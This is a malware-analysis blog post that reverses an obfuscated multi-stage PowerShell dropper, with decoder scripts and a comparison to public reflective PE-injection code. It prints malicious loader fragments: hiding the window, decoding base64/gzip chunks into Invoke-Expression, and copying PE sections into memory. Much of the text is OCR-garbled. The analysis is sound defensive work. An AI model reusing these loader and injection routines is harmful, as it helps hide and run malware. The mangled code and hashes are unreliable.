Reversing Complex PowerShell Malware

| blog.cerbero.io/

In this post we’re going to analyze a multi-stage PowerShell malware, which gives us an
opportunity to use our commercial PowerShell Beautifier package and its capability to
replace variables.

Sample SHA2-256:
2840D561ED4F949D7D1DADD626E594B9430DEEB399DB5FF53FCOBB1AD30552AA

Interestingly, the malicious script is detected by only 6 out of 58 engines on VirusTotal.

6 (D) 6 security vendors and no sandboxes flagged this file as malicious i ;1:
/158
-
iz::d5ﬁ1 ed4f949d7d1dadd626e594b9430deeb399db5ff53fcObb1ad305 112 MB 2023-03-27 10:19:04 UTC G
Size a moment ago C
mw_ps1_ins_rem.txt
C
Community Score
DETECTION DETAILS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (1) powershell Family labels powershell

Security vendors' analysis (D Do you want to automate checks?
Cyren (D) PHP/AgentNE Driveb (D PowershellInject. 102

ESET-NOD32 @ PowerShell/Agent. ASV Google @ Detected

McAfee-GW-Edition @ BehavesLike.PS.Dropper.tn Microsoft @ Trojan:PowerShell/Obfuse.RVAIMTB

Acronis (Static ML) () Undetected AhnLab-V3 (%) Undetected

We open the script in Cerbero Suite, decode its content and set the language to PowerShell.
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I Enter Python code here I

+ Some body fix this ~

SomiltaZ
somiltaz
somiltaz +

= "owWin";
"dow"

$litoPicomra Get"
$litoPicomra current™
$litoPicomra += "Process"

$ifkule = '[DllImport ("user32.d11")]"

Sifkule +
$ifkule +=
Sifkule +=

' public static extern '
"bool ShowWi'

"ndow (int handle,

int state);*

<

S$tName = 'Add-T'

StName += 'ype -name Win -member $i'

$tName += 'flkule -nam'

$tName += 'espace Native'

StName | iex

$cPr = [System.Diagnostics.Process]::$litoPicomra;
$wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle
# Exceptions

[Native.Win]::$0miltaZ.Invoke ($wndHndl, 0)

SacdukLom = € ()
$dtPrEr =

S$casda = "in"
$casda += "se"
$casda + "
$dbfbda = "re"
$dbfbda += "move"

Selem0 ="U4sSIARRRRRAFAOlde3PaypL/26nKd1ASriLsMVEMHR/HW6dqedpKMDGIvVEVEChhASZCIJ0zge893331KMyMBeuBsT7t6kKomSzZn7d09Pd09MzGo3mlsAzbEtRrWE7CRRaldcEle/v3/ 3] /bul6nRoAq9iWEPDGULY]+/ fXe

$elem0=Selen0.Sdbfbda. Invoke (0,1)
$elem0=Selen0.Scasda. Invoke (0, "H")
SacdukLom += Selem0

Seleml

U4sSIARARARAEAO2 9+2PiyJIw+PMbs/kfsJ5eelWbXQVkkiTZa2P2RegAkVwSiKut rRCEiIFt ZXIKcef/ TuntESOLIqup]3s6303RXFSgiPDw8/A4P2Pz6Y302z82frwbI13a8Xznis+vcUG40+1U4VbSpOoffix/Joft+afG(
=seleml.Sdbfbda. Invoke (0,1)
=$eleml.$casda.Invoke (0, "H") v

We can observe that the code is obfuscated.
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# Some body fix this

$Omiltaz = "Sh";
$0miltaz += "owWin";
$0miltaz += "dow";

$litoPicomra = "Get"
$litoPicomra += "Current"
$litoPicomra += "Process"

$ifkule = '[D1llImport("user32.dl1")]"'

$ifkule += ' public static extern '

$ifkule += 'bool Showwi'

$ifkule += 'ndow(int handle, int state);'

$tName = 'Add-T'

$tName += 'ype -name Win -member $i'

$tName += 'fkule -nam'

$tName += 'espace Native'

$tName | iex

$cPr = [System.Diagnostics.Process]::$litoPicomra;
$wndHndl = ($cPr.Invoke() | Get-Process).MainwindowHandle
# Exceptions
[Native.Win]::$0OmiltaZ.Invoke($wndHndl, 0O)

#
# [operations omitted for brevity]
#

$elemsl=$elemdl.$dbfbda.Invoke (0, 1)
$elemdl=$elem4l.$casda.Invoke(0, "H")
$acdukLom += $elem4l

$tp= [System.IO.Compression.CompressionMode]: :Decompress

$ss = "System."
$ss += "I0.Me"
$ss += "morySt"
$ss += "ream"

$ftcl = "read"
$ftcl += "toend"

foreach ($element in $acdukLom) {
$data = [System.Convert]::FromBase64String($element)
$ms = New-Object $ss
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$somObj = New-Object System.IO.Compression.GzZipStream($ms, $tp)
$drD = New-Object System.IO.StreamReader ($somObj)
$vvar = $drD.$ftcl.Invoke()
$dtPrEr += $vvar
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$scriptPath = $MyInvocation.MyCommand.Path
$dtPrer | iex

We launch the PowerShell Beautifier with all options enabled.

Value

# Some body fix this

Indent spaces
L] Keep comments

Deobfuscation
Deobfuscate
Replace variables
Remove unused variables
Auto-name variables

The deobfuscated code is easy to follow.

R-EE 955 0 mE CUdnbe 2 aoxw BN EE # & 099 s - [2eamsereoan
= v

1 'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression A
2 sget_current process = [System.Diagnostics.Process]::GetCurrentProcess;

3 svar_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle

4 [Native.Win]::ShowWindow ($var_15, 0)

5 Svar 16 = @()

6

7

8

svar_26 $var_16 + "H4SIARARRAREAOlde3PaypL/26nKd1AS5r]jLsMVEMHR/HW6dgqedpKMDGIVEVFChhASZCIJOzges 93331KMyMBeuBsTt 'd09Pd 0! m1 bEtRrWf7CRRaldcfle/v3/37/buH6nRoAGIIWEE

$var_30 = Svar 26 + "HASIARARARARRO29+ZPiyJIw+PMbs/kfsJSeelWbXQUkkiTZa2P2ReghkVusiKutrReEiFtEXIKeef/TuntESOLIqup]3s6303REFSgiPDWE/A4P2P26Y30282frubI13a8XzniS+veUG40+1U4VbOpOLf]

$var_34 = $var_30 + "H4sSIARAAAAARAM2OW7OqyEMo+D4R8x10nJiHMTBiRJey9IESch+ ImoAgFOULE PHGFRMW1vKE++smsApile/ £+3£7HXONOTiVQVGVLSh2yEPLKrhGpIhGeY51151ipD2Xa 7y I PvM7x1X 1 DFemt vI SgTZNKZ S
9 Svar_38 = $var_34 + "H4SIARRRARARAKXSWXuqytLwD/ICnBAvVMOlAQUBRSSEKIGAnS420v/6rqgajSdy++7zfWevI4wRNA3XNU/ST6+JIJI rNgTPUN] tmxtZ21W+9FPOXHDNY3dT01StNvTa0T+0x0xphipfJOEa7a0cThGNGKTVE
10 Svar 42 = $var 38 + "H4SIAARRAAAERKYOWY/iyveg+D7SfIdWaxSmhDQ2a0JL/RDewE4MDOONZWgelks02kDgrugss+j TnRIIEJKvUrv//71UpBRSx4uxblE32 3WjuNZCpi0ENze 1RVFFG ImHU9DQTa FuMhx0t 21§ 2gPPiXN3v/5)
11 $var 46 = $var_42 + "H4SIAARAAAARALY9W2/yStMge]/S/g+jT/tiRkgbkxBiRpqLIgnb20C2MdiM5iLhYIxJISALBWK+ famp3Q57Det+R9sxachRsVIVEVIex3VImndELE7LEGT zE23UH 9qDLGDOYXQYa/ Lulygo2brcr+L3UNL
12 svar_50 = $var_46 + "H4sIARARARARALS92bLgOrMueFBRIQ4NTLREVRBRNMDANThzIVk22L1iTGEBU1IMAGME YwPCadgaevIMIMZg651167at£8Y/0MA7KUyubLVCpL5109I6R1erVNCASTkX 3xN5015J3KIIS2R+XMIOH 6CK/DTXE
13 Svar 54 = $var 50 + "H4SIAARAAAAEALxOWZuiSNP2D/IA3PUw2RRKSXYVZBONEC2gSOVUX/9FRKJI1AVE3zDwz72dz0WUpkOQSGX FHECK6bgCqT4TmXt P13A3UGMHF U VSZF1CFdzbSYOt JEVmC62C 981 SmEn FgH+WSV0yeSznNp(
14 svar_58 $var_54 + "H4SIARARRAREANSOWY/q2hIm+F5S/4dSqR+ghNSYyUBJ9bABGQ02XgYDPlUPCUSSYOInTgYDV74] ¥i2T5LDPvbdfWn20tpLB2GuIFfHFNGAOSNbs3Z2zn3My62cooWHBkzBwWO01J0GPXnXDERTGTL FDEM+tRY
15 $var 62 = $var 58 + "H4SIARARAAAEANSOWY/iytYo+N5S/4erq37oF1LbzEC1+XCewAYPYWOWafVDJIgbbGJIsIDEKrT9rrTBIVIbt2uec/bVeny+/vnPEijVPYVSsiwLTO9] 6euirPIVOki TJURWDPVGNNEVXPryngs8Dc2Jaumtn
16 Svar 66 = $var 62 + "H4SIAAAAAAAEANWOWY/qSrcg+NSS/YdSqR+6hdQ20zKUVA/hCWzwEGADPtQPCSTGGILCQGLy19daK2zm3DvP3ufce+73aetkdClixZqnMD391fbsE/y/ 2y 4DS1HBNult033R6gpBLe1SZLITik5AuTIVLe
17 svar_70 $var_66 + "H4SIARARRARRAKx9V3fqyrLuD+JBIpjw2EoggZBallx4M0kJLE+DEfDrb1v1i2B7zbX00KfvscY0oNChenlV7ScszxM71lya2a]kRd5izomy71Nme] 75yBvezijelMaij2wl3bMddXr52£fd6+// ZTmCENG:
18 Svar 74 = $var 70 + "H4SIARARAAAEAKY9WSOQ3LIO+N4RSz+COHECUSOIBDVSPBHNGbSgKBARSaMEYhSCKIWI0ET625wWBilULVIX27v2tmMsSgRW] 75k] X811 UwwKywu0C1i1RC8kyk9ODLEGe LMY qkSPBEYO54S41dTEMyUXTOX/E
19 Svar_78 = $var_74 + "H4sIARAAARARANSOWY+zSrcmeN9S/YdSq: nBMy6pLhht sBkCGwxu9UV6whhnkukJ27++110BHjLz3Xt/ 3zk1VX/ 7vEe InYKINTxr DPOQTEXNL tXTEbt 5Z0Ft Y8 rCzkylVduU4X/ 61u/ oSbe ITHNsnul
20 Svar_82 = $var_78 + "H4sIARARARARALY9WSOQSVMnfDERExIMJubinsBiwBPCRMWFRWHIUAGKTrwXrSgilngpLeaqnnBwasLi711578/ /D86 SK3WpRVGV1ZE4yKzPLLSTHLn) TLgThHE tuoRiFnuaSMrbPOWYUDiFrr4iDwzidépc
21 $var 86 = $var 82 + "H4SIARARARARAOWO2ZbiuNI2fEEC2MxwéHKAYStggzlLMHhiSiAxcPVERGTGPDKzqqv33u//91q1Gkhb8xPKCQIohFxKRe6RyP18qx] p4viIeX 6BusP3g1LUILeQCLrhjNwhVy2+sa+ZeqikQuanInXhLe
22 $var 90 = $var 86 + "H4SIARRRAAARAOWIWY/qyvIV+N5Sf4erg37oFlLbzPaVv7oNHsME]GGxa/VBgBMRUTAY+/Y3TtAIF1VpVe++1z14tPLI6m6rczswy Y3 1kVipga5akXcQhoFOknw/Z181 yfX121rdsor
23 Svar_94 = Svar_90 + "H4SIARRRARAEANSOWY/QytYg+F5S/4dSqR+QZK1tgxNMSFUQNSAGY exwaZVDwkGT2TCBhIDYT TWiiBT 73 zDA+7V1+03 7ZMkCY 6 INCBRT +XDYHTN6VOQRGSqtWE Y3 FbmhBE7 s 3T0/COWNSKIa+NC1d0ymsy
24 Svar 98 = $var 94 + "H4SIAARAAAAEAJSO2Y/qyvMn+D7S/B+tV]/MCG1swIBDQR8YVWAbD+KFMKNSKDbbmCTXYbGBY34iMk1VnX Pud/ TU96p0wNipdGQsnlgybDE+eJ2ndKd22W8 r2yd] caU2L7K] gHHhmOVGEV+1yhdXUIvvIE

25 $var_102 = $var 98 + "H4sSIARAAAAARALY9V5eq3BI2+00BABP15SQISA4g3rUIAWL 6tQH115+qumh3r/B++4RxShTVWKOSZQIwVIyGIq4UgEGUCc24 YhVwdxYnE/ xRFkD3dH1dBg £ CF/NINLLRbv1£8/ oeubzoVEhdb5 THEKEChG]
26 Svar 106 = $var_102 + "H4SIARAARAREALYOWY/QQONMmeD/S/IdWaySmhDQ2YIXpgs+8go239AKY0VWUNZcol2Ez80s71ItMGqs Ty fnMzRZoOqWFEGZNTEE 6uS0LwuQSM3 fnGmLuu 5 JceSHYeKmEN1 IS rOkuMéJDTPOtQrb11/y IV ek
27 §var 110 = §var 106 + "H4SIARAAAAREATYO2Y+ryvMn+DSS/w+t1]zMCGnAGBYtOUOYgOkS]G3cmocqywhGLlupdw/2E3xGE2EV1zrn3+7tHdavyMp P IyThPLBkQQoh+INA152n SVAMKvd8WrgSni feAnO¥Sxr Jpaglo 6 PAIbHKE
28 Svar_114 = §var_110 + "H4SIAAAAAAAFAOYIW6/QSVIN+DSSE4dWQxSmhDQ2YIXDPQR+CVIAD39LGGBNNW1oYbGNYZNMZ 60knItOW2PYSC+PUAE1HM60+VVSLIELINRSb1FSERUI Y1 x42Lpqlo69k2+0qqrGItHKT £PKMYhdomkVe
29 Svar 118 = $var_114 + "HASIARARARARALTOWSeqyu4/Dr8gLkBFxEUOAsqhEFS8a08IaGt7Qn31/ySF3fbca669v7/xPGUNOROEGLKPVPIJqiovgZoinldmbzm/ 6hrap9vbTd8ypUQeuyldqwpPFa72Le/ x4VogBgM6dTpSadDPt
30 $var_122 = $var_118 + "H4SIAAAAAAAFALSOWY/qShMg+D7S/IdWax5m2GlswB]jTU] 9kegEb78aAGe 1DsKkrynXYDPz61ici0gbhzzvlut9RzvE690WKRZi YwIIyKTksrzuSEE3q/ SdjXsubaVgaHcONAE/ r80mMohY £9NmInSUF1pE
31 svar_126 $var_122 + "H4SIARRARRARFAJSIWTOQyvIV+N4R/R10nDgP3UFEg40IJ+I8VHEREJCLGN]RDONRD] 0YOwuon74zg3TMMddae// 3mTNGQFyKaqyszF9eKiHRYWuSQjCFghBiNuHtRIXDDI v4RARCIUgznd1Ns 7qnU29se
32 $var 130 = $var_126 + "HASIARARARARAKWOW4+yTBc2eD7J/IfJ1lzm¥SSeDulb9kuBABVLUBARUNMYBOLBASLUb1FE/QK3CqgL] 952bJ0/uXC21XTV2LWQVIT6T0ePO1YTTYyyIgiCefzD+Fno%/sbYE6QMhx] /CIMM+0+clzog1
33 $var_134 = §var_130 + "H4SIARAAAAAFALVOW7/pTvL3C3IRh7C4zP1ASBDEHUFIEItF80qfPNCSIN/ e+z4P+czsVbépTurgbugabodSzcxzVajuertEah/2itqalZpkd faty+3EE/5x561mu3B0cnfondzyd4n 961 rXrwycGShXnk
34 Svar_138 = $var_134 + "H4SIARARRAREAOLSW6/yOhPefaX+h6rqRSUKELCCKVXCOQAISIAROSOFBFaACDAF+PWIndh] Fqzl7r0/9aQ2W2vnJIZEHMx 6 Px6ex835100w+4 60FtLSe P TDUWS 9MY £bTV8SLhBCLEULZ2PELOETHETTI
35 Svar 142 = $var 138 + "H4SIARAAAAREAKSOW7OyOtQueNOV/R927eqL7gKaAwoKu2pEcD4oGpBzV1BoKgoiKgr Ir+8QFOZTWOVIvE2uSTudPIXkEGRKZCRPVIBegks 17 IBEknSBNDORX2GoR/EWPO] zgL3QBuIZzzwVesSocKr]
36 svar_146 = $var_142 + "H4SIRRAAAARRAOWIWY/q2hMvShdp3+HgKg+IWkrbBrrhsvEiBMwzssPECSQHDYAYbaCYDNz5VyyMNuB/e55y/bméCLDCNxZpal ECrWoPVE4/Fz7adhG/vwaedyITvYtDIFt fPE0HQPS Tuo/dx0GUNVPBUL
37 Svar_150 = $var_146 + "HAsIARARAARRAKVAWOPiPBP+QV4sanXxMkmPQAv1aLkTcMtBF3dRK/ z6L5NA2qYz8CHVEX4T6TydzEWmMSMOMLNOZgBs3LB5wWR]ZY/aYqu9TNk3SK3N] FudBzoKUzXP+ws IMEbSNYczuGb9iwYbNCY1 94
38 Svar 154 = $var 150 + "H4SIARAAAAREALIOW2/30JDu+wLnPywWS2EXACS4MpgMZ4FOIC1ZNBu2nD] d6oNOSBxHEt1pddadlto/ £ InFACx SRV JHIWCYRQWLR +LrAULFZP2SnHS 4 SYMA/ kfh/ 8 6BKxDA] SGEnbIRMKOEVFkA9gx}
39 svar_158 $var_154 + "H4SIAAAARARFAMWIWZ/yzNIoeD/S/IetrbmYUaTBBCeBLe2LPhgfwAZzCIHRXCSQMFNCEDPIY+PW7quOqgwNzz3cz46XK161H17q6urg5zt4UQyq/ 2HFF+Vn79Xogh/ 67gk+K/pPndCtPer0ailIgsk2ys’
40 Svar 162 = $var_158 + "HASIARARAMARAKI02286PdPYfaX+DIWnXrRCKgSWSFTQhQSTYtmFSZAEGl4khB)YICQhyQJ/ fT3enXEg4XnfSqXq9z7SDbbHM+PXHE 0hibz 3WB0+B/ kiM55dsa] 8ey SvmGLmkzXOBRVCRTp: Jiv

< >

However, there is one glitch in the final loop:
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$decompress = [System.IO.Compression.CompressionMode]: :Decompress
foreach ($item in $var_190)
{
$from_base64_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.IO.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, O,
$from_base64_string_result.Length)
$memory_stream.Seek(0, 0) | Out-Null
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream,
$decompress)
$stream_reader = New-Object System.IO.StreamReader($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 = "" + $readtoend_result # <- here
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The replacement of variables ended up handling one line incorrectly. Looking back at the
original code:

$var_197 += $readtoend_result

Therefore, we can adjust the code as follows:

var_197 = ""
$decompress = [System.IO.Compression.CompressionMode]: :Decompress
foreach ($item in $var_190)
{
$from_base64_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.IO.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, O,
$from_base64_string_result.Length)
$memory_stream.Seek(0, 0) | Out-Null
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream,
$decompress)
$stream_reader = New-Object System.IO.StreamReader ($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 += $readtoend_result
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The code creates an array of strings:

'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression
$get_current_process = [System.Diagnostics.Process]::GetCurrentProcess;
$var_15 = ($get_current_process.Invoke() | Get-Process).MainwWwindowHandle
[Native.Win]::ShowWindow($var_15, 0)

$var_16 = @()

$var_26 = $var_16 + "HASIAAAAAAA..."
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It then decodes each string in the array using base64, decompresses the decoded bytes with
GZip and then concatenates the end result into one string which is then passed to “Invoke-
Expression”.

The following is a small Python script to perform the decoding operations.

from Pro.GZ import *
import base64

def deobfuscate(fname):
with open(fname, "rb") as f:
data = f.read()
out = bytearray()
i=0
while True:
i = data.find(b'"H4', 1)
if i == -1:
break
data.find(b'""', 1i+3)
base64.b64decode(data[i+l:e])
—e + 1
= NTContainer()
.setData(s)
obj = GZObject()
obj.Load(c)
r obj.GetCompressedRange()
c c.clone()
c.setRange(r.offset, r.size)
c = applyFilters(c, "<flts><f name='unpack/zlib' raw='true'/></flts>", False)
out += c.read(0, c.size())
with open(fname + "_output", "wb") as f:
f.write(out)

O O H »n O
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I [mw_ps1_ins_rem.txt] - Cerbero Suite Advanced 6.2 - Cerbero Suite - 0
H-BE €% H S OdKaAPe& &9 & N BRNWEE fe 0%2? [SHA2/256 ~| 2840D561ED4F949D: 26E El 3FCOBBL A -
B Decoded bytes & [mw_ps1_ins_rem_deobf] - Python a
wwr 77 mw_psi_ins_rem_deobf o
1 from Pro.GZ import ¥ ~
2 import baseé4d
3
4 def deobfuscate (fname):
5 with open(fname, "rb") as f:
6 data = f.read()
7 out = bytearray()
8 i=0
9 while True:
10 i = data.find(b'"H4", i)
11 if io==-1:
12 break
13 e = data.find(b'"', i+3)
14 s = base64.b64decode (datal[i+l:e])
15 i=e+1
16 © = NTContainer ()
17 c.setData(s)
18 obj = Gzobject()
19 obj.Load(c)
20 r = obj.GetCompressedRange ()
21 ¢ = c.clone()
22 c.setRange (r.offset, r.size)
23 c = applyFilters(c, "<flts»<f name='unpack/zlib' raw='true'/></flts>", False)
24 out += c.read(0, c.size())
25 with open(fname + " output", "wb") as f:
26 £.write (out)|
27 v
= Output 8 x
Enter Python code here

The script takes as input the file name on disk of the beautified PowerShell script and writes
out the result of the decoding, which is another PowerShell script.

Even though the code is obfuscated, it is clear that it injects a PE into memory. After having
already observed that and extracted the PE, we figured out that probably the PowerShell
injection code was lifted from the web. In fact, by searching for an error string we could find a
blog_post by Joe Bialek, which links to his GitHub repository.

For instance, this is a function in the malware:
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Function Copy-awgwBB
{
Param(
[Parameter (Position = 0, Mandatory = $true)]
[Byte[]]
$LdDataHpo,

[Parameter (Position = 1, Mandatory = $true)]
[System.Object]
$ZpzeTj,

[Parameter (Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter (Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types

)

for( $1i = 0; $i -1t
$ZpZeTj.IMAGE_NT_HEADERS.FileHeader .NumberOfSections; $i++)
{

[IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV
([Int64]%$ZpZeTj.SectionHeaderPtr) ($i *
[System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.tSpqDk)))

$SectionHeader =
[System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr,
[Type]$Win32Types. tSpgDk)

[IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV
([Int64]%$ZpZeTj.PEHandle) ([Int64]$SectionHeader.VirtualAddress))

$SizeOfRawData = $SectionHeader.SizeOfRawData

if ($SectionHeader.PointerToRawData -eq 0)

{

$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{

$SizeOfRawData = $SectionHeader.VirtualSize
}

if ($SizeOfRawData -gt 0)

{
Test-JiHDgn -DebugString "Copy-awgwBB::MarshalCopy" -

ZpZeTj $ZpzZeTj -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null

[System.Runtime.InteropServices.Marshal]: :Copy($LdDataHpo,
[Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
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if ($SectionHeader.SizeOfRawData -1t
$SectionHeader .VirtualSize)

{

$Difference = $SectionHeader.VirtualSize -
$SizeOfRawData

[IntPtr]$StartAddress = [IntPtr](Add-HyLchV
([Int64]%SectionDestAddr) ([Int64]$SizeOfRawData))

Test-JiHDgn -DebugString "Copy-awgwBB::Memset" -

ZpZeTj $ZpZeTj -StartAddress $StartAddress -Size $Difference | Out-Null

$wWin32Functions.memset.Invoke($StartAddress, 0,
[IntPtr]$Difference) | Out-Null

}

And this is the same function in Joe Bialek’s code:
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Function Copy-Sections
{
Param(
[Parameter (Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,

[Parameter (Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter (Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter (Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types

)

for( $1i = 0; $i -1t
$PEInfo.IMAGE_NT_HEADERS.FileHeader .NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned
([Int64]$PEInfo.SectionHeaderPtr) ($i *
[System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADE

$SectionHeader =
[System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr,
[Type]$Win32Types.IMAGE_SECTION_HEADER)

#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned
([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))

#SizeOfRawData is the size of the data on disk, VirtualSize
is the minimum space that can be allocated

# in memory for the section. If VirtualSize >
SizeOfRawData, pad the extra spaces with 0. If

# SizeOfRawData > VirtualSize, it is because the section
stored on disk has padding that we can throw away,

# so truncate SizeOfRawData to VirtualSize

$SizeOfRawData = $SectionHeader.SizeOfRawData

if ($SectionHeader.PointerToRawData -eq 0)

{
$SizeOfRawData = 0

if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{

$SizeOfRawData = $SectionHeader.VirtualSize
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if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-
Sections: :MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size
$SizeOfRawData | Out-Null

[System.Runtime.InteropServices.Marshal]: :Copy($PEBytes,
[Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)

}

#If SizeOfRawData is less than VirtualSize, set memory to 0
for the extra space

if ($SectionHeader.SizeOfRawData -1t
$SectionHeader.VirtualSize)

{

$Difference = $SectionHeader.VirtualSize -
$SizeOfRawData

[IntPtr]$StartAddress = [IntPtr](Add-
SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))

Test-MemoryRangeValid -DebugString "Copy-
Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference |
Out-Null

$Win32Functions.memset.Invoke($StartAddress, 0O,
[IntPtr]$Difference) | Out-Null

}
}

Obfuscation aside, the functions are identical.

In the malicious script the PE is encoded using base64 strings:

[byte[]] $mbvar

$mbVar += [System.Convert]::FromBase64String("glqQAAMAAAAEAAAA. .")
$mbvar += [System.Convert]::FromBase64String("M/9IiXtYS...")
$mbvar += [System.Convert]::FromBase64String("GBBIi/JIi+1lyBU2..");
# etc.

$mbvarl = [System.Convert]::FromBase64String("0KjYqOCo6Kg...");
$mbvar += $mbvaril

$Wzrnmd = $mbvar

$Wzrnmd[0] = Ox4d

So the scripts decodes many base64 strings, concatenates the result and then replaces the
first character of the byte array with 0x4D (which is the ‘M’ character in the “MZ” signature).

We copied the list of base64 operations to a separate file and wrote a small Python script to
extract the final PE for us.
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ESHA—ZJZSG ~ 2840D561ED4F! El 0BB1AD30552AA |

Decoded bytes © | &  [mwpst_ins_rem_deobf] - Python Text view 1 0 | & Python B |
1037 }) —Join '* ~
1038 if (Svar 149 —ne 'mz')
1039 It
1040 throw "PE is not a valid PE file.'
1041 )
1042 Invole—Cormand —ScriptBlock §var 3 -ArgumentList@ (svar 1, Svar 129)
1043 }
1044 PeZWFA
1045 }

1046 [IBENE S
pU YN S var 151

XRhARAACKQWARBWARRANhYARFYAARARRARAARARARRAARARAMAUCGRhAGEARNOBARRATBCARRTARADOFG gAQARRDAXARACAARAGhY. ) ) rqu\v) VAAWARAAD
BAFWARAQARAPQWAAARAAAANAAAAAAAARARAR IARARAAARAAARAAAAAAAAAAARARARARAAARAAAAARAAAAARARARANAAAARAARARAAAMAAARAAARAAAARAARARAAANAAARAAARAAAANAAAARAARAAARANAARRAAAANAARAAARRAAAD
ARAARRAAANRARANAARARAAAMAARAAAARAARANAAAARAAANAARAAAARAAAANAAARAAAARAARARAARAAAANAAARAAAARAAAANARAAAAANAAARAAARAAAAARARARAAANAAARNAARARAAAMAARRAAARAARAAAAARAAAALAARARAARAARL
}.AP.P.P.P}}.AAP.P.P}}.AAP.P.P}}.AAP.P.P}}}.AP.P.P}}}.AP.P.P.P}}.AAP.P.P}}.AAP.P.P}}.AAP.AAAAAAAAAAAAAPAAAAPAAPAEi D7ChIiwVNBBCASIXAAC1IiVWKIE/ Q! DXAR+22E1iFYXQG/|
x SIXRAANT/

APEI‘\UWI\IO'\ JBWA. XAE1FW, i h AE i gDF kFQgMXAP8VLDBAAE i JBaUDFWB L

CBARRRATI]
GRRREN]C!
ObKEARRATI2ES: c ApEijpﬂ VMVKWAMAE
AAD/ FZX4F

)4 STPEaMPMZMZMZMZMZMsMiUQKkGI1UJBBIiUW
Z/ YWAE i LR( i

2aoToonporiwT nCTannniiol T oTannnccnnoniTmonn Snnnaicooon oo 01 7 o 7 noin.nincTin o

Enter Python code here

import base64

def deobfuscate(fname)
with open(fname, "rb") as f:
data = f.read()
bytearray()

out
i=0
while True:
i = data.find(b'g("', 1)
if 1 == -1:
break
data.find(b'"', 1i+3)
out += base64.b64decode(data[i+1l:e])
i=e+1
out[e] = 77
with open(fname + "_output", "wb") as f:
f.write(out)

Now we can analyze the injected PE (SHA2-256:
7751A09B3C1146B5DB72BE1218287DA6FD4C65813A1EBOAESE0389DB879DAAEB).
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s [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - o

H-BE @ be WS O#dfPh& e« & w BN EE # & 0% [sHA2/256 +||7751A09B3C1146B5DB72BE1218287DA6FDAC65813A1EBIAESEO389DBS79DAAER e
. Roots ® % Output 5 x
# File Risk Format carbon: analysis finished in 0.1 seconds

1 C\..\mw_ps_ins_rem_encoded_exe.txt_output 0% PE

“y Hierarchy 8 X Analysis [mw_ps_ins_rem_encoded_exe.txt_output] & x
Name [0x Hex | sl Fie stats

4 @ mw_ps_ins_rem_encoded_exe.txt_output ~| offset 01 2 3 4 5 86 7 8 8 A B CDE F Ascii ~

4 s Documents 00000000 | 4D 5A 90 00 03 00 00 00 04 00 00 00 EF FF 00 00 <-Format data
» Configuration file 2 [lang:1033] 00000010 | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 EO 00 00 00
g 2 00000040 OQE 1F BA QE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 1is.program.canno

[ Summary 5 x 5 n
4 @ Online 00000060 74 20 62 65 20 72 75 6E 20 €9 6E 20 44 4F 53 20 t.be.run.in.DOS.
00000070 6D 6F 64 €5 2E 0D OD 02 24 00 00 00 00 00 00 00
0 Intelligence: MalwareBazaar 00000080 | AB 0E F9 7F EF 6F 97 2C EF &F 97 2C EF 6F 97 2C
4 &2 Intrinsic threats 00000090 32 90 5C 2C EA 6F 97 2C EF 6F 96 2C CE 6F 97 2C

. 000000R0 78 31 %2 2D EB8 6F 97 2C 78 31 9E 2D EE 6F 97 2C
“i“atwe codezx6 000000B0 = 78 31 97 2D EE 6F 97 2C 7D 31 68 2C EE 6F 97 2C

4 AP"‘EW 000000C0O 78 31 95 2D EE 6F 97 2C 52 69 63 68 EF 6F 97 2C
A Debug data 00000000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

4 /L Warnings 000000E0 | 50 45 00 00 64 86 06 00 A3 0B D5 63 00 00 00 00
